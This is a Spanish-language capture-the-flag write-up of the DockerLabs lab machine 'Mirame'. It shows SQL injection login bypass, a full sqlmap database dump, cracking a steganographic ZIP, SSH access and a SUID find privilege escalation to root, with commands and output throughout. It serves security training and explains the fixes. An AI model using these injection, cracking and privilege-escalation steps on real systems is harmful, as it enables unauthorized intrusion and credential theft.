Mirame

DockerLabs — Linux · SQLi Bypass → sqlmap DB dump → Esteganografía → SSH → SUID find LPE

● FÁCIL DOCKERLABS LINUX SQL INJECTION ESTEGANOGRAFÍA SUID · LPE 📅 Mayo 2026 · By Brandeiks

Resumen

Mirame es una máquina de dificultad fácil de la plataforma DockerLabs, diseñada para practicar bypass de autenticación mediante inyección SQL, extracción de datos con sqlmap, técnicas de esteganografía y escalada de privilegios mediante un binario con el bit SUID mal configurado. Corre sobre un contenedor Docker con Debian Linux y expone dos servicios: SSH (puerto 22) con OpenSSH 9.2p1 y un servidor web HTTP (puerto 80) con Apache 2.4.61.

La superficie de ataque se inicia en un formulario de login web ( index.php / auth.php) que no sanitiza correctamente las entradas del usuario, permitiendo inyecciones SQL básicas. A través de sqlmap se extrae la base de datos completa con credenciales en texto plano. Estas contraseñas se reutilizan como wordlist en un segundo escaneo con Gobuster, descubriendo un directorio oculto que contiene una imagen con datos esteganográficos — un fichero ZIP cifrado que, al ser crackeado con John the Ripper, revela credenciales SSH.

Una vez dentro del sistema como el usuario carlos, la escalada de privilegios es directa: el binario /usr/bin/find tiene el bit SUID activado, lo que permite ejecutarlo con permisos de root y lanzar una shell privilegiada con una sola instrucción extraída de GTFOBins.

FaseTécnica / HerramientaResultado
Desplieguesudo bash auto_deploy.sh mirame.tarContenedor activo · IP 172.17.0.2
Escaneonmap -p- -sSCV -n -Pn --min-rate=5000 -oXPuertos 22 (SSH) y 80 (HTTP) abiertos
Reportexsltproc mirame.xml → mirame.htmlReporte HTML visual del scan Nmap
Enum. Webgobuster dir -x txt,php,bak,oldDetectados auth.php, index.php, page.php
SQLi manual'admin' --' en campo usuarioError SQL visible → no sanitizado
Captura HTTPBurp Suite Intercept → request.txtPOST /auth.php capturado
SQLi automáticosqlmap -r request.txt --dbs / --tables / --dump4 usuarios con contraseñas en texto plano
Dir. ocultogobuster con passwords como wordlistDirectorio /directoriotravieso descubierto
Esteganografíastegseek miramebien.jpgocultito.zip embebido en imagen
Crack ZIPzip2john + john --wordlist=rockyou.txtContraseña: stupid1
Extracciónunzip miramebien.jpg.out → secret.txtCredenciales carlos:carlitos
Acceso inicialssh carlos@172.17.0.2Shell como carlos
Recon localfind / -perm -4000 2>/dev/null/usr/bin/find con bit SUID
Privesc/usr/bin/find . -exec /bin/sh -p \; -quitShell como root

Despliegue de la Máquina

1
LEVANTAR EL CONTENEDOR DOCKER

A diferencia de plataformas como HackTheBox donde las máquinas ya están corriendo en servidores remotos, en DockerLabs las máquinas son contenedores Docker que debemos levantar nosotros mismos en local. El proceso es simple: se descarga el archivo .tar de la máquina y se ejecuta el script auto_deploy.sh que viene incluido con la plataforma.

El script necesita permisos de superusuario (sudo) porque Docker requiere privilegios elevados para crear y gestionar redes y contenedores. Internamente, el script carga la imagen del contenedor desde el archivo .tar, crea una red Docker interna, asigna automáticamente la IP 172.17.0.2 al contenedor y lo inicia. Mientras el terminal muestre el mensaje de espera, la máquina está activa. Al terminar, se presiona Ctrl+C para detener y eliminar el contenedor.

DEPLOY
$ sudo bash auto_deploy.sh mirame.tar
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es —> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla

// ¿POR QUÉ 172.17.0.2?

Docker crea por defecto una red bridge interna con el rango 172.17.0.0/16. El host (tu Kali) recibe la IP 172.17.0.1 (el gateway) y el primer contenedor que se levanta recibe 172.17.0.2. A diferencia de HackTheBox donde necesitas VPN, en DockerLabs la comunicación es directa a través de esta red virtual local.


Reconocimiento

2
ESCANEO COMPLETO DE PUERTOS CON NMAP

Con la máquina desplegada y su IP confirmada, el primer paso es descubrir qué servicios están expuestos. Se realiza un escaneo completo de todos los 65,535 puertos TCP con Nmap, usando el siguiente conjunto de flags optimizado para CTF: -p- escanea la totalidad de puertos (sin esto, Nmap solo comprueba los 1000 más comunes por defecto), -sSCV combina tres modos en uno: SYN scan sigiloso que no completa el handshake TCP, detección de versión de los servicios detectados, y ejecución de los scripts de reconocimiento del engine NSE de Nmap. -n desactiva la resolución de nombres DNS para no añadir latencia innecesaria, -Pn omite el ping de host-discovery (asume que el host está activo — útil porque algunos hosts bloquean ICMP), --open muestra únicamente los puertos que están abiertos, y --min-rate=5000 fuerza un mínimo de 5000 paquetes por segundo para que el scan sea rápido. El resultado se exporta a XML con -oX mirame.xml para procesarlo visualmente después.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 172.17.0.2 -oX mirame.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 15:28 -0400
Nmap scan report for 172.17.0.2
Host is up (0.00012s latency).
Not shown: 45164 closed tcp ports (reset), 20369 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open ssh    OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 2c:ea:4a:d7:b4:c3:d4:e2:65:29:6c:12:c4:58:c9:49 (ECDSA)
|_ 256 a7:a4:a4:2e:3b:c6:0a:e4:ec:bd:46:84:68:02:5d:30 (ED25519)
80/tcp open http   Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Login Page
MAC Address: DA:42:15:4E:B7:5D (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 34.36 seconds

// ANÁLISIS DEL SCAN

Nmap detectó dos puertos: SSH en el 22 (sin credenciales aún, no podemos entrar) y HTTP en el 80 con título "Login Page". Esto apunta directamente a un formulario de autenticación web como vector de ataque. El siguiente paso es enumerar el contenido web para entender qué archivos y directorios existen.

3
CONVERSIÓN DEL REPORTE NMAP A HTML

El archivo mirame.xml generado por Nmap está en formato XML crudo, difícil de leer. La herramienta xsltproc transforma ese XML en un reporte HTML visualmente organizado usando la hoja de estilos oficial que trae Nmap en /usr/share/nmap/nmap.xsl. El operador > redirige la salida estándar al archivo mirame.html, que se puede abrir en el navegador y muestra los puertos, versiones y scripts en un formato con tablas y colores. Es una buena práctica de documentación, especialmente en scans extensos.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl mirame.xml > mirame.html

Enumeración Web con Gobuster

4
FUERZA BRUTA DE DIRECTORIOS Y ARCHIVOS

Con el puerto 80 activo y sabiendo que hay una página de Login, se usa Gobuster en modo dir para descubrir archivos y directorios ocultos mediante fuerza bruta de diccionario. El flag -u http://172.17.0.2 especifica la URL objetivo, -w señala el diccionario a usar (common.txt de dirb, con las rutas más comunes en servidores web), y -x txt,php,bak,old indica las extensiones de archivo que Gobuster añadirá a cada palabra del diccionario. Esto es crucial: un servidor puede no tener un directorio /admin pero sí un archivo /admin.php — sin la flag -x ese archivo quedaría sin descubrir.

El resultado muestra que los archivos con código 200 (accesibles) son: index.php (la página de login principal), auth.php (el backend que procesa las credenciales) y page.php (una página a la que redirige el login tras autenticarse). Los archivos con código 403 existen pero el servidor deniega el acceso directo (archivos de configuración de Apache como .htaccess).

GOBUSTER
$ gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x txt,php,bak,old
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                 http://172.17.0.2
[+] Method:             GET
[+] Wordlist:           /usr/share/wordlists/dirb/common.txt
[+] Extensions:         php,bak,old,txt
 
.htaccess         (Status: 403) [Size: 275]
.htpasswd         (Status: 403) [Size: 275]
auth.php          (Status: 200) [Size: 1852]
index.php         (Status: 200) [Size: 2351]
page.php          (Status: 200) [Size: 2169]
server-status    (Status: 403) [Size: 275]
Progress: 23065 / 23065 (100.00%)
Finished

// HALLAZGO CLAVE: auth.php

El archivo auth.php es el procesador del formulario de login. Al existir como archivo accesible y separado del index, podemos intuir que las credenciales se envían por POST directamente a este endpoint. Esto será fundamental para capturar el request con Burp Suite y pasárselo a sqlmap.


SQL Injection — Detección Manual

Antes de lanzar herramientas automáticas, se realiza una prueba manual para confirmar que el formulario de login es vulnerable a inyección SQL. Esto es una buena práctica: entender primero qué ocurre manualmente antes de automatizar.

5
PRUEBA DE INYECCIÓN MANUAL — DETECCIÓN DE ERROR SQL

Se navega a http://172.17.0.2 y se observa un formulario de login con dos campos: Usuario y Contraseña. La hipótesis es que el backend construye una query SQL similar a esta para validar el login:

SELECT * FROM usuarios WHERE username='[INPUT]' AND password='[INPUT]'

Si el input no se sanitiza, podemos romper la estructura de la query. Se introduce 'admin' --' en el campo usuario (cualquier texto en contraseña). El apóstrofe inicial cierra el string de la query prematuramente, y el doble guion -- actúa como comentario en SQL, ignorando todo lo que sigue (incluyendo la validación de contraseña).

La respuesta del servidor es un error fatal de PHP/MySQL visible en pantalla: revela que el código de auth.php está en la línea 22, que usa MariaDB, y que la query falló porque recibió nuestra inyección sin escapar. Este tipo de error no debería nunca mostrarse en producción — es una grave falla de configuración que nos confirma que el campo es inyectable con Single Quoted String.

LOGIN FIELD → USUARIO
usuario > 'admin' --'
password > cualquiercosa
Fatal error: Uncaught mysqli_sql_exception:
You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version
for the right syntax to use near
'admin' -- '' AND password=''admin' -- '''
at line 1 in /var/www/html/auth.php:22
Stack trace: #0 /var/www/html/auth.php(22): mysqli->query()
#1 {main} thrown in /var/www/html/auth.php on line 22

// ¿POR QUÉ ESTO CONFIRMA LA VULNERABILIDAD?

Un formulario seguro usaría prepared statements o escapado de caracteres especiales. En ese caso, el apóstrofe sería tratado como texto literal y no rompería la query. Aquí, el servidor ejecutó el input directamente dentro de la query SQL sin ningún filtro, y encima devolvió el error completo con rutas del servidor — dos fallos críticos en uno: SQL Injection + error verbose.


sqlmap — Extracción de la Base de Datos

Confirmada la vulnerabilidad SQL Injection, se automatiza la extracción usando sqlmap — la herramienta estándar del sector para pruebas de inyección SQL. Antes de ejecutarla, necesitamos capturar el request HTTP completo del formulario de login para que sqlmap sepa exactamente qué enviar al servidor.

6
CAPTURA DEL REQUEST HTTP CON BURP SUITE

Burp Suite es un proxy HTTP de interceptación. Al configurar el navegador para que pase todo su tráfico a través de Burp (generalmente 127.0.0.1:8080), podemos ver, modificar y guardar cada request y response. En este caso, se activa Intercept On, se hace un intento de login normal con credenciales de prueba (admin/admin), y Burp captura el request POST antes de que llegue al servidor.

Se guarda ese request completo en un archivo de texto llamado request.txt. Este archivo contiene todos los headers HTTP y el body del POST con los parámetros username y password. sqlmap usará este archivo como plantilla para saber exactamente cómo y dónde inyectar sus payloads.

POST /auth.php HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://172.17.0.2
Referer: http://172.17.0.2/
 
username=admin&password=admin
7
SQLMAP — CONFIRMACIÓN DE INYECTABILIDAD

Con el flag -r request.txt se le pasa a sqlmap el request guardado. sqlmap prueba automáticamente múltiples técnicas de inyección en todos los parámetros del body del POST. Detecta que tanto username como password son inyectables mediante Boolean-based blind (respuestas distintas según si la condición es verdadera o falsa), Error-based (extrae datos a través de los mensajes de error de MySQL) y Time-based blind (la respuesta tarda más si la condición es verdadera). También confirma que el DBMS es MySQL / MariaDB y que el servidor web es Apache 2.4.61 en Linux Debian.

SQLMAP
$ sqlmap -r request.txt
[INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.61
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[INFO] there were multiple injection points, please select:
[0] place: POST, parameter: username, type: LIKE single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
8
SQLMAP — LISTAR BASES DE DATOS (--dbs)

El flag --dbs (databases) instruye a sqlmap para que enumere todas las bases de datos disponibles en el servidor MySQL. Esto equivale a ejecutar un SHOW DATABASES; pero de forma ciega, a través de los parámetros inyectables. Cada carácter del nombre de cada base de datos se extrae bit a bit mediante las técnicas de inyección detectadas anteriormente. Se descubren dos bases de datos: information_schema (la base de datos interna del sistema MySQL con metadatos) y users (la base de datos de la aplicación, que es la que nos interesa).

SQLMAP · DBS
$ sqlmap -r request.txt --dbs
[INFO] fetching database names
available databases [2]:
[*] information_schema
[*] users
9
SQLMAP — LISTAR TABLAS (-D users --tables)

Con -D users se especifica que queremos operar sobre la base de datos users, y --tables enumera todas las tablas que contiene. sqlmap descubre una única tabla llamada usuarios. Este nombre es muy descriptivo — casi seguro contiene nombres de usuario y contraseñas.

SQLMAP · TABLES
$ sqlmap -r request.txt -D users --tables
[INFO] fetching tables for database: 'users'
Database: users
[1 table]
+----------+
| usuarios |
+----------+
10
SQLMAP — VOLCAR TABLA (-T usuarios --dump)

El flag -T usuarios selecciona la tabla específica y --dump extrae todo su contenido. sqlmap primero enumera las columnas de la tabla (descubre id, username, password) y luego vuelca fila por fila cada registro. El resultado revela 4 usuarios con sus contraseñas en texto plano (no hasheadas): este es un error de seguridad grave — las contraseñas nunca deben almacenarse en texto claro.

SQLMAP · DUMP
$ sqlmap -r request.txt -D users -T usuarios --dump
Database: users   Table: usuarios   [4 entries]
+----+-----------------------+------------------+
| id | password              | username         |
+----+-----------------------+------------------+
| 1 | chocolateadministrador| admin           |
| 2 | lucas                 | lucas           |
| 3 | soyagustin123         | agustin         |
| 4 | directoriotravieso    | directorio      |
+----+-----------------------+------------------+
USUARIO
admin
PASS
chocolateadministrador
USUARIO
directorio
PASS
directoriotravieso

// PISTA OCULTA EN LAS CONTRASEÑAS

Al revisar las contraseñas con atención, la del usuario "directorio" es "directoriotravieso". Esta combinación es una pista directa: sugiere que existe un directorio web oculto cuyo nombre podría estar relacionado con estas palabras. En CTFs, los nombres de cuentas y contraseñas suelen contener pistas del siguiente paso.


Esteganografía — Datos Ocultos en la Imagen

11
GOBUSTER CON PASSWORDS COMO WORDLIST

Teniendo las contraseñas de la base de datos, se construye una wordlist artesanal combinando los nombres de usuario y contraseñas obtenidos. Se ejecuta un segundo Gobuster pero ahora con ese archivo como diccionario en lugar del common.txt genérico. La idea es que si algún directorio web tiene el mismo nombre que una de estas palabras, lo encontraremos.

El resultado confirma la hipótesis: Gobuster encuentra el directorio /directoriotravieso con código 301 (Redirect) apuntando a http://172.17.0.2/directoriotravieso/. Este directorio no aparecía en el scan anterior con common.txt porque su nombre no es una palabra común — solo era descubrible con las pistas extraídas de la base de datos.

GOBUSTER · CUSTOM WORDLIST
$ gobuster dir -u http://172.17.0.2 -w pasword.txt -x txt,php,bak,old
directoriotravieso  (Status: 301) [Size: 321]
[--> http://172.17.0.2/directoriotravieso/]
Progress: 20 / 20 (100.00%)
Finished
12
DESCARGA DE LA IMAGEN DESDE EL DIRECTORIO

Al navegar a http://172.17.0.2/directoriotravieso/ se accede a un directory listing de Apache (el servidor está configurado para mostrar el contenido del directorio cuando no hay un index.html). Dentro hay un único archivo: miramebien.jpg — una imagen de 6.2K. El nombre es una pista obvia: "mírame bien" implica que hay algo más de lo que parece a simple vista. La imagen muestra un par de ojos, reforzando el juego de palabras con el nombre de la máquina.

Se descarga la imagen con wget para analizarla localmente. Cuando algo "se ve normal" pero tiene nombre sospechoso en un CTF, lo primero es comprobar si contiene datos ocultos mediante esteganografía.

WGET
$ wget http://172.17.0.2/directoriotravieso/miramebien.jpg
13
STEGSEEK — EXTRAER DATOS OCULTOS DE LA IMAGEN

stegseek es una herramienta especializada en detectar y extraer datos ocultos en imágenes JPEG usando el algoritmo de esteganografía steghide. A diferencia de steghide, que necesita que conozcas la passphrase de antemano, stegseek hace un ataque de diccionario automático: prueba miles de passphrases por segundo hasta encontrar la correcta.

Por defecto, stegseek usa su lista de palabras interna basada en las más comunes. El resultado es inmediato: encuentra la passphrase "chocolate" (que aparecía también como parte de la contraseña del admin en la base de datos — otro guiño del autor), extrae el archivo oculto original cuyo nombre era ocultito.zip y lo guarda como miramebien.jpg.out.

STEGSEEK
$ stegseek miramebien.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
 
[i] Found passphrase: "chocolate"
[i] Original filename: "ocultito.zip"
[i] Extracting to "miramebien.jpg.out".

// ¿QUÉ ES ESTEGANOGRAFÍA?

La esteganografía es la práctica de ocultar información dentro de otros archivos de forma que la presencia del mensaje sea imperceptible. A diferencia de la criptografía (que oculta el contenido), la esteganografía oculta la existencia del mensaje. En imágenes JPEG, herramientas como steghide modifican los bits menos significativos de los píxeles de forma que el cambio visual es invisible para el ojo humano, pero el archivo contiene datos adicionales que pueden extraerse con la passphrase correcta.

14
ZIP2JOHN — CONVERTIR ZIP CIFRADO A HASH CRACKEABLE

El archivo extraído miramebien.jpg.out es en realidad un ZIP (ocultito.zip) protegido por contraseña. No se puede descomprimir directamente. La herramienta zip2john (parte del suite John the Ripper) analiza el archivo ZIP y extrae la información de la contraseña en un formato de hash que John the Ripper puede intentar crackear. El resultado se guarda en hash_mirabien.txt.

Técnicamente, lo que extrae zip2john es el bloque de verificación PKZIP: un fragmento cifrado del archivo que John puede usar para comprobar si una contraseña es correcta sin necesidad de descomprimir el archivo completo. Esto hace el proceso muy rápido.

ZIP2JOHN
$ zip2john miramebien.jpg.out > hash_mirabien.txt
ver 1.0 efh 5455 efh 7875 miramebien.jpg.out/secret.txt
PKZIP Encr: 2b chk, TS_chk, cmplen=28, decmplen=16,
crc=703553BA ts=9D7A cs=9d7a type=0
15
JOHN THE RIPPER — CRACKEAR EL HASH

John the Ripper es una herramienta de crackeo de contraseñas que prueba posibles contraseñas contra un hash hasta encontrar la que genera el mismo resultado. Con el flag --wordlist=/usr/share/wordlists/rockyou.txt se especifica el diccionario a usar: rockyou.txt es la wordlist más usada en CTFs, derivada de una filtración real de 14 millones de contraseñas del servicio RockYou en 2009. John prueba cada contraseña del diccionario contra el hash extraído del ZIP.

JOHN
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash_mirabien.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
16
JOHN --SHOW — MOSTRAR CONTRASEÑA ENCONTRADA

Una vez que John ha crackeado el hash (o si ya lo había crackeado en una sesión anterior y lo tiene en caché), el flag --show muestra todas las contraseñas encontradas para los hashes del archivo. El formato de salida es archivo:contraseña:.... Se revela que la contraseña del ZIP es stupid1.

JOHN · SHOW
$ john --show hash_mirabien.txt
miramebien.jpg.out/secret.txt:stupid1:secret.txt:miramebien.jpg.out::miramebien.jpg.out
 
1 password hash cracked, 0 left
CONTRASEÑA ZIP
stupid1
ARCHIVO ZIP
miramebien.jpg.out
17
UNZIP — EXTRAER SECRET.TXT

Con la contraseña obtenida se descomprime el archivo ZIP. Al ejecutar unzip miramebien.jpg.out, el sistema solicita la contraseña del archivo interno secret.txt. Se introduce stupid1 y se extrae el fichero de texto plano.

UNZIP
$ unzip miramebien.jpg.out
Archive: miramebien.jpg.out
[miramebien.jpg.out] secret.txt password: stupid1
extracting: secret.txt
18
CAT SECRET.TXT — CREDENCIALES SSH

El archivo secret.txt contiene una sola línea en formato usuario:contraseña. Esta es exactamente la estructura que se usa para credenciales SSH. El usuario es carlos con la contraseña carlitos. Ya tenemos todo lo que necesitamos para entrar a la máquina por SSH.

CAT
$ cat secret.txt
carlos:carlitos
USUARIO SSH
carlos
CONTRASEÑA SSH
carlitos
PUERTO SSH
22

Acceso Inicial — SSH como carlos

19
CONEXIÓN SSH CON LAS CREDENCIALES OBTENIDAS

Con las credenciales extraídas de secret.txt, se establece una conexión SSH al servidor. El comando ssh carlos@172.17.0.2 inicia el cliente SSH indicando que queremos conectarnos con el usuario carlos a la IP del contenedor. La primera vez que nos conectamos a un host desconocido, SSH pide confirmación para guardar la fingerprint del servidor en ~/.ssh/known_hosts — respondemos yes. Después solicitará la contraseña.

La conexión es exitosa. La shell muestra el banner de Debian y el prompt de carlos. Estamos dentro del sistema con una terminal interactiva completa — mucho más cómoda que la webshell con la que trabajamos en la máquina Overlay. Desde aquí comenzamos la fase de escalada de privilegios.

SSH
$ ssh carlos@172.17.0.2
carlos@172.17.0.2's password: carlitos
 
Linux 7f7f6af51336 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC (2026-02-25) x86_64
 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Aug 10 19:44:14 2024 from 172.17.0.1
carlos@7f7f6af51336:~$

Escalada de Privilegios — SUID en /usr/bin/find

Dentro del sistema como carlos, necesitamos encontrar una vía para escalar a root. La metodología estándar de reconocimiento local comienza buscando binarios con el bit SUID activado, ya que son ejecutables que corren con los permisos de su propietario (normalmente root) independientemente de quién los ejecute.

20
BÚSQUEDA DE BINARIOS SUID

El comando find / -perm -4000 2>/dev/null busca recursivamente desde la raíz del sistema de archivos (/) todos los archivos que tengan el bit SUID (4000) activado en sus permisos. El guion antes del número (-4000) significa "que tenga al menos este bit activado". El 2>/dev/null descarta todos los mensajes de error (como "Permission denied" al intentar acceder a directorios de root) para que la salida sea limpia y solo muestre los binarios encontrados.

Entre los resultados aparece /usr/bin/find — la herramienta de búsqueda de archivos de Unix. El hecho de que find tenga SUID es un error de configuración grave: find tiene la capacidad de ejecutar comandos arbitrarios mediante su flag -exec, por lo que si corre como root, puede ejecutar cualquier cosa como root.

SUID SEARCH
$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/find
/usr/bin/mount
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo

// ¿POR QUÉ /usr/bin/find CON SUID ES PELIGROSO?

El binario find tiene la capacidad -exec que permite ejecutar cualquier comando arbitrario por cada archivo encontrado. Si find tiene el bit SUID activado y su propietario es root, todos esos comandos se ejecutan con permisos de superusuario. Esto es exactamente lo que explotaremos. Esta configuración nunca debería existir en un sistema real — find solo necesita SUID en circunstancias muy excepcionales.

21
INVESTIGACIÓN EN GTFOBINS

GTFOBins (gtfobins.github.io) es un repositorio curado de técnicas para abusar binarios Unix con privilegios elevados (SUID, sudo, capabilities). Al buscar "find" en GTFOBins bajo la categoría SUID, encontramos exactamente el payload que necesitamos: el binario puede usarse para obtener una shell interactiva (/bin/sh) a través de su flag -exec, y el flag -p de sh es clave — sin él, algunos sistemas modernos eliminarían los privilegios SUID al iniciar la shell (mecanismo de seguridad). Con -p, la shell mantiene el UID efectivo del proceso (root).

22
EXPLOTACIÓN SUID — SHELL COMO ROOT

El comando final es elegante en su simplicidad. Se ejecuta /usr/bin/find . -exec /bin/sh -p \; -quit. Desglosado: find . busca en el directorio actual, -exec /bin/sh -p \; ejecuta /bin/sh con el flag -p por cada archivo encontrado (en este caso, el primer archivo del directorio actual), y -quit hace que find termine inmediatamente después del primer resultado, evitando que se ejecute múltiples veces. Como find corre con SUID de root, la shell que lanza también hereda esos permisos. El comando whoami confirma: root.

PRIVESC · SUID FIND
$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
root
# _

// MÁQUINA COMPROMETIDA COMPLETAMENTE

Hemos obtenido una shell como root en el contenedor. El flujo completo desde acceso inicial hasta privesc fue: SQLi → DB dump → wordlist → directorio oculto → esteganografía → crack ZIP → SSH → SUID find → root. Cada paso usó la información obtenida en el anterior, formando una cadena de ataque coherente.


Referencia de Comandos

auto_deploy.sh
sudo bash auto_deploy.sh <machine.tar>
Script de DockerLabs que carga y lanza el contenedor vulnerable. Requiere sudo para gestionar Docker. Bloquea el terminal hasta que presionas Ctrl+C, momento en que elimina el contenedor.
  • sudo — Ejecuta con privilegios de superusuario (Docker lo requiere)
  • bash — Interprete shell que ejecuta el script
  • mirame.tar — Imagen Docker comprimida de la máquina víctima
nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX <file>
Escáner de red y puertos. Uno de los pilares del reconocimiento en pentesting. Detecta puertos abiertos, versiones de servicios y ejecuta scripts NSE de reconocimiento automáticamente.
  • -p- — Escanea los 65,535 puertos TCP (no solo los 1000 por defecto)
  • -sS — SYN scan: no completa el handshake TCP (más sigiloso)
  • -sC — Ejecuta scripts NSE por defecto (reconocimiento automático)
  • -sV — Detecta versiones de servicios en cada puerto
  • -n — Sin resolución DNS (más rápido)
  • -Pn — Sin ping previo (asume que el host está activo)
  • --min-rate=5000 — Mínimo 5000 paquetes/segundo (scan agresivo)
  • --open — Muestra solo puertos con estado OPEN
  • -oX file.xml — Exporta resultados en formato XML
gobuster
gobuster dir -u <URL> -w <wordlist> -x <extensiones>
Herramienta de fuerza bruta para descubrir directorios y archivos web. Envía peticiones HTTP para cada entrada del diccionario y reporta las que devuelven código 200 (encontrado) u otros códigos relevantes.
  • dir — Modo directory/file enumeration
  • -u URL — URL objetivo del servidor web
  • -w wordlist — Ruta al diccionario de palabras a probar
  • -x ext — Extensiones a añadir a cada palabra (php, txt, bak, old)
  • -t N — Número de hilos concurrentes (default: 10)
sqlmap
sqlmap -r <request.txt> [--dbs] [-D db] [--tables] [-T tabla] [--dump]
Herramienta automatizada de detección y explotación de SQL Injection. Prueba múltiples técnicas (boolean-based, error-based, time-based, union-based) y puede extraer toda la estructura y datos de la base de datos.
  • -r request.txt — Lee el request HTTP desde un archivo (capturado con Burp)
  • --dbs — Enumera todas las bases de datos disponibles
  • -D nombre — Selecciona una base de datos específica para operar
  • --tables — Lista todas las tablas de la base de datos seleccionada
  • -T nombre — Selecciona una tabla específica
  • --dump — Extrae y muestra todos los datos de la tabla seleccionada
  • --batch — Responde automáticamente a todas las preguntas interactivas
stegseek
stegseek <imagen.jpg> [wordlist]
Herramienta de ataque de diccionario contra datos ocultos con steghide en imágenes JPEG. Prueba miles de passphrases por segundo hasta encontrar la correcta y extrae automáticamente el archivo embebido.
  • imagen.jpg — Imagen JPEG a analizar en busca de datos esteganográficos
  • wordlist — Diccionario de passphrases (opcional; usa lista interna por defecto)
  • -o archivo — Especifica el nombre del archivo de salida extraído
zip2john / john
zip2john <archivo.zip> > hash.txt && john --wordlist=rockyou.txt hash.txt
Flujo de crackeo de ZIPs cifrados: zip2john extrae el hash del archivo ZIP en un formato que John the Ripper puede procesar. John luego prueba palabras del diccionario hasta encontrar la contraseña.
  • zip2john archivo — Convierte el ZIP protegido a formato de hash crackeable
  • --wordlist= — Especifica el diccionario para el ataque (rockyou.txt)
  • --show — Muestra las contraseñas ya crackeadas para los hashes del archivo
  • --format= — Fuerza un formato de hash específico (ej: pkzip)
ssh
ssh <usuario>@<IP>
Secure Shell: protocolo criptográfico para acceso remoto seguro a servidores. Establece un túnel cifrado donde todos los comandos y respuestas viajan encriptados, a diferencia de telnet.
  • usuario@IP — Usuario del sistema remoto y su dirección IP
  • -p puerto — Puerto SSH si no es el estándar 22
  • -i clave — Usa una clave privada para autenticarse en lugar de contraseña
  • -L — Port forwarding local (túnel SSH)
find (SUID Privesc)
/usr/bin/find . -exec /bin/sh -p \; -quit
Abuso del binario find con bit SUID para escalar privilegios. Al tener SUID de root, find ejecuta el comando especificado en -exec con permisos de superusuario. Técnica documentada en GTFOBins.
  • . — Directorio de búsqueda (el directorio actual)
  • -exec cmd \; — Ejecuta el comando por cada archivo encontrado
  • /bin/sh -p — Lanza una shell manteniendo los privilegios SUID (UID efectivo)
  • -quit — Termina find después del primer resultado (evita múltiples shells)

Glosario

SQL Injection (SQLi)
La inyección SQL es una vulnerabilidad web que permite a un atacante interferir en las consultas que una aplicación hace a su base de datos. Ocurre cuando la aplicación construye queries SQL concatenando directamente el input del usuario sin sanitizarlo. El atacante introduce caracteres especiales como ', --, ; o OR 1=1 que cambian la lógica de la query original. Las consecuencias van desde bypass de autenticación hasta extracción completa de la base de datos o ejecución de comandos en el sistema operativo.
Prepared Statements — Prevención de SQLi
Los prepared statements (sentencias preparadas) son la contramedida principal contra SQL Injection. En lugar de construir la query concatenando strings, se define la query con parámetros placeholder (? o :nombre) y se envían los valores por separado. La base de datos los trata siempre como datos literales, nunca como código SQL, haciendo imposible que un apóstrofe en el input rompa la query. En PHP se usan con mysqli_prepare() o PDO.
sqlmap — Técnicas de Inyección
sqlmap usa varias técnicas para extraer datos: Boolean-based blind: hace preguntas de sí/no (si la primera letra del nombre de la DB es 'a', ¿la respuesta cambia?); Error-based: extrae datos embebidos en mensajes de error del DBMS; Time-based blind: usa SLEEP(N) para comunicar datos mediante retardos medibles; UNION-based: añade una query secundaria con UNION SELECT para inyectar datos en la respuesta. La elección de técnica depende de lo que el servidor devuelva al atacante.
Gobuster — Enumeración Web
Gobuster es una herramienta de fuerza bruta para descubrir recursos web ocultos. Para cada palabra en el diccionario, envía una petición HTTP GET al servidor y analiza el código de respuesta: 200 = recurso existe y es accesible, 301/302 = redirección (posible directorio), 403 = existe pero acceso denegado, 404 = no existe. La combinación de un buen diccionario y extensiones de archivo (-x) permite descubrir archivos y directorios que no están enlazados en la web visible.
Burp Suite — Proxy de Interceptación HTTP
Burp Suite es la herramienta estándar del sector para pruebas de seguridad web. Actúa como un proxy intermedio entre el navegador y el servidor: todo el tráfico HTTP/HTTPS pasa a través de él. Sus principales módulos son: Proxy (intercepta y modifica requests en tiempo real), Repeater (reenvía requests modificados manualmente), Intruder (automatiza ataques de fuerza bruta sobre parámetros) y Scanner (versión Pro, detecta vulnerabilidades automáticamente). Es fundamental para capturar requests de formularios web y pasárselos a otras herramientas como sqlmap.
Esteganografía — steghide y stegseek
